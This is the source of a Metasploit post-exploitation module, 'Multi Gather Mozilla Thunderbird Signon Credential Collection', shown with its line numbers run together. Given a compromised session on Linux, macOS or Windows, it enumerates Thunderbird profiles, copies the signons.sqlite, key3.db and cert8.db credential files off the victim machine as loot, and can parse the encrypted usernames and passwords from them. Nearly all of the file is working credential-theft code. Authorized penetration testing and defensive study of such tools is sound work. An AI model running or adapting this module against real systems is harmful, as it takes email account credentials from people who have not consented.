Path: blob/master/modules/post/multi/gather/thunderbird_creds.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::UserProfiles89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Gather Mozilla Thunderbird Signon Credential Collection',14'Description' => %q{15This module will collect credentials from Mozilla Thunderbird by downloading16the necessary files such as 'signons.sqlite', 'key3.db', and 'cert8.db' for17offline decryption with third party tools.1819If necessary, you may also set the PARSE option to true to parse the sqlite20file, which contains sensitive information such as the encrypted username/password.21However, this feature is not enabled by default, because it requires SQLITE3 gem22to be installed on your machine.23},24'License' => MSF_LICENSE,25'Author' => [26'sinn3r', # Metasploit27],28'Platform' => %w[linux osx win],29'SessionTypes' => ['meterpreter', 'shell'],30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33core_channel_eof34core_channel_open35core_channel_read36core_channel_write37stdapi_sys_config_getenv38]39}40},41'Notes' => {42'Stability' => [CRASH_SAFE],43'SideEffects' => [],44'Reliability' => []45}46)47)4849register_options(50[51OptBool.new('PARSE', [false, 'Use SQLite3 to parse the database', false])52]53)54end5556def run57# Initialize Thunderbird's base path based on the platform58case session.platform59when 'linux'60user = session.shell_command('whoami').chomp61base = "/home/#{user}/.thunderbird/"62when 'osx'63user = session.shell_command('whoami').chomp64base = "/Users/#{user}/Library/Thunderbird/Profiles/"65when 'windows'66if session.type == 'meterpreter'67user_profile = session.sys.config.getenv('APPDATA')68else69user_profile = cmd_exec('echo %APPDATA%').strip70end71base = user_profile + '\\Thunderbird\\Profiles\\'72end7374# Now we have the path for Thunderbird, we still need to enumerate its75# random profile names.76print_status("Looking for profiles in #{base}...")77profiles = get_profile_names(base)7879# Steal!80profiles.each do |profile|81next if profile =~ /^\./8283slash = (session.platform == 'windows') ? '\\' : '/'84p = base + profile + slash8586# Download the database, and attempt to process the content87download_loot(p)88end89end9091#92# Download signons.sqlite and key3.db.93# The routine will attempt to parse the sqlite db if the PARSE option is true,94# and that SQLite3 is installed on the user's box.95#96def download_loot(path)97# These are the files we wanna grab for the directory for future decryption98files = ['signons.sqlite', 'key3.db', 'cert8.db']99100files.each do |item|101loot = ''102103# Download the file104# # @todo replace this with `Msf::Post::File.read_file`105if session.type == 'meterpreter'106vprint_status("Downloading: #{path + item}")107begin108f = session.fs.file.new(path + item, 'rb')109loot << f.read until f.eof?110rescue StandardError => e111vprint_error(e.message)112ensure113f.close114end115elsif session.type == 'shell'116cmd_show = (session.platform == 'windows') ? 'type' : 'cat'117# The type command will add a 0x0a character in the file? Pff.118# Gotta lstrip that.119loot = cmd_exec(cmd_show, "\"#{path + item}\"").lstrip120next if loot =~ /system cannot find the file specified|No such file/121end122123# Save it124ext = ::File.extname(item)125ext = ext[1, ext.length]126127loot_path = store_loot(128"tb.#{item}",129"binary/#{ext}",130session,131loot,132"thunderbird_raw_#{item}",133"Thunderbird Raw File #{item}"134)135136print_status("#{item} saved in #{loot_path}")137138# Parse signons.sqlite139next unless item =~ (/signons\.sqlite/) && datastore['PARSE']140141print_status('Parsing signons.sqlite...')142data_tbl = parse(loot_path)143if data_tbl.nil? || data_tbl.rows.empty?144print_status('No data parsed')145next146end147148loot_path = store_loot(149"tb.parsed.#{item}",150'text/plain',151session,152data_tbl.to_csv,153"thunderbird_parsed_#{item}",154"Thunderbird Parsed File #{item}"155)156print_status("Parsed signons.sqlite saved in: #{loot_path}")157end158end159160#161# Parse the sqlite database.162# This thing requires sqlite3 gem, so we don't really recommend it.163# The best way is to use railgun, but as of now we don't support that.164# Can't just LoadLibrary("sqlite3.dll") or LoadLibrary("mozsqlite3.dll")165#166def parse(file)167begin168require 'sqlite3'169rescue LoadError170print_error("Sorry, SQLite3 not available. We'll have to skip the parser.")171return nil172end173174# Load the database175db = SQLite3::Database.new(file)176begin177_, *rows = db.execute('select * from moz_logins')178rescue StandardError => e179print_error("doh! #{e}")180return nil181ensure182db.close183end184185# Create a rex table to store our data186tbl = Rex::Text::Table.new(187'Header' => 'Thunderbird login data',188'Indent' => 1,189'Columns' =>190[191'hostname',192'httpRealm',193'formSubmitURL',194'usernameField',195'passwordField',196'encryptedUsername',197'encryptedPassword',198'guid'199]200)201202# Parse the db, store the data203rows.each do |row|204tbl << [205row[1], # hostname206row[2], # httpRealm207row[3], # formSubmitURL (could be nil)208row[4], # usernameField209row[5], # passwordField210row[6], # encryptedUsername211row[7], # encryptedPassword212row[8] # guid213]214end215216return tbl217end218219#220# Return the profile names based on a base path.221# The format for the random profile name goes like: [random].default222#223def get_profile_names(path)224tb_profiles = []225226if session.type == 'meterpreter'227session.fs.dir.foreach(path) do |subdir|228tb_profiles << subdir229end230else231cmd = (session.platform == 'windows') ? "dir \"#{path}\"" : "ls -ld #{path}*/"232dir = cmd_exec(cmd)233dir.each_line do |line|234line = line.strip235next if session.platform == 'windows' && line !~ /<DIR>((.+)\.(\w+)$)/236next if (session.platform == 'linux' || session.platform == 'osx') && line !~ /(\w+\.\w+)/237238tb_profiles << ::Regexp.last_match(1) if !::Regexp.last_match(1).nil?239end240end241return tb_profiles242end243end244245=begin246If you're really curious about Mozilla's encryption/descryption API, download this:247ftp://ftp.mozilla.org/pub/mozilla.org/thunderbird/releases/8.0/source/248249And then read the following files:250mozilla/security/manager/ssl/src/nsSDR.cpp251mozilla/security/nss/lib/pk11wrap/pk11sdr.c252253Using a 3rd party decryptor is easier because Mozilla uses 2 different databases254(SQLite and Berkeley DB) to store the crypto information. This makes proper decryption255implementation kind of uneasy, because railgun currently doesn't support SQLite3 and256BDB (require special handling -- it's not like you can do LoadLibrary('mozsqlite3.dll')257to load the lib). Not to mention you need to borrow several more Mozilla components to258do the decryption. BDB gem unfortunately is kind of busted during my testing, so I guess259we can pretty much forget about doing the decryption locally... chances are a lot of260users would have problems just to get that setup going anyway.261=end262263264